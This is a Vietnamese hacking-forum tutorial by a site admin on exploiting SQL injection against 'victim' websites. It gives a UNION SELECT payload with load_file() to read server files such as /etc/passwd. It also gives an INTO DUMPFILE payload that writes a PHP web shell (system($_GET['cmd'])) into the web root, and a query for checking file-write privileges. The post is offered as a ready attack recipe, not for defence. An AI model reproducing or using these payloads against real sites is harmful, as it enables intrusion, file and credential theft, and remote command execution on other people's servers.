Hướng dẫn đọc file và tạo file bằng sqli

Admin

AdminAdmin is verified member.

Well-Known Member
Staff member
Administrator
Victim thuộc loại này hơi bị khó tìm nên đọc tham khảo thôi nhé :khakha:

Victim:
domain/@/index.php?id=1099 <~ link xàm nhé :D

Ví dụ website này có 3 trường, version 5 (có thể khai thác)


1. Đọc file

- domain/@/index.php?id=-1099 union select 1,load_FILE(0xđường_dẫn_file_cần_đọc),3 #

Trong đó "đường_dẫn_file_cần_đọc" là đường dẫn đến 1 file nào đó có trong hệ thống này (ví dụ như: /home/GAY/public_html/index.php hoặc /etc/passwd) và mã hóa nó thành hex. Sau đó thì view-source, code nằm hiện ra trước mắt ta :D

2. Tạo file

-
domain/@/index.php?id=-1099 union select 1,'<?php system($_GET['cmd']); ?>',3+INTO+DUMPFILE+"/đường_dẫn_file_được_lưu/GT.php"#

Trong đó '<?php system($_GET['cmd']); ?>' là nội dung file sẽ được tạo, INTO+DUMPFILE là mã lệnh thực thi, "/đường_dẫn_file_dc_lưu/GT.php" là đường dận file sẽ được lưu vào 1 nơi nào đó trong hệ thống (GT.php là tên file sẽ được tạo, ví dụ:
/home/GAY/public_html/@/GT.php). Cái code shell trên khi chạy shell thì nó sẽ như thế này "http://domain/@/GT.php?cmd=" và nó được sử dụng như chức năng system trên 1 con shell bình thường.

Yêu cầu: safe_mod=off, magic_quotes_gpc = OFF

Để kiểm tra xem có quyền thực thi trên không thì bằng query

select file_priv from mysql.user where user=user()

Ra chữ Y là có quyền, N là không.
nếu query lỗi thì user đó không với tới table mysql.user :D
 

Facebook Comments

Similar threads

Admin
Replies
0
Views
1K
AdminAdmin is verified member.
Admin
Admin
Replies
0
Views
1K
AdminAdmin is verified member.
Admin
Admin
Replies
0
Views
3K
AdminAdmin is verified member.
Admin
K
Replies
0
Views
836
[King-Game]
K
Admin
Replies
0
Views
4K
AdminAdmin is verified member.
Admin
Yeukodamnoi
Replies
3
Views
1K
Kidblood
Kidblood
Back
Top